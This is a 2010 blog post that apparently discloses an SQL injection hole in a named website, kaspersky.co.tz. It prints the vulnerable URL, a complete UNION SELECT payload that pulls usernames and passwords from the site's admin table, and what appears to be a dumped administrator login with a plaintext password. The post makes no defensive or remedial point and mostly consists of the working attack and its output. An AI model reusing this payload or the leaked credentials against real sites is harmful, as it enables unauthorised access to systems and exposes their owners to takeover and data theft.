Tuesday, September 14, 2010

Kaspersky.co.tz SQL injection Vulnerability [full injection]

0

#Title: Kaspersky.co.tz SQL injection Vulnerability
#Risk: (4/5)
#Release Date: 13.09.2010
#Vulnerability discovered by: darknessn1k0!a

http://www.kaspersky.co.tz/products-details.php?id=-14

http://www.kaspersky.co.tz/products-details.php?id=-14%20union%20all%20select%201,group_concat(username,0x3a,password),3,4,5,6,7,8,9%20,10,11,12,13,14,15,16,17,%2018,19,20+from+td_admins--

username: skyadmin: password:yw2ejtw8en

0 comments:

Post a Comment

About Me

My photo
Блог за истражување и развој на информациска безбедност, кој е наменет за постирање на најнови ранливости и слабости. Founder darknessn1k0!4

 
Design by ThemeShift | Bloggerized by Lasantha - Free Blogger Templates | Best Web Hosting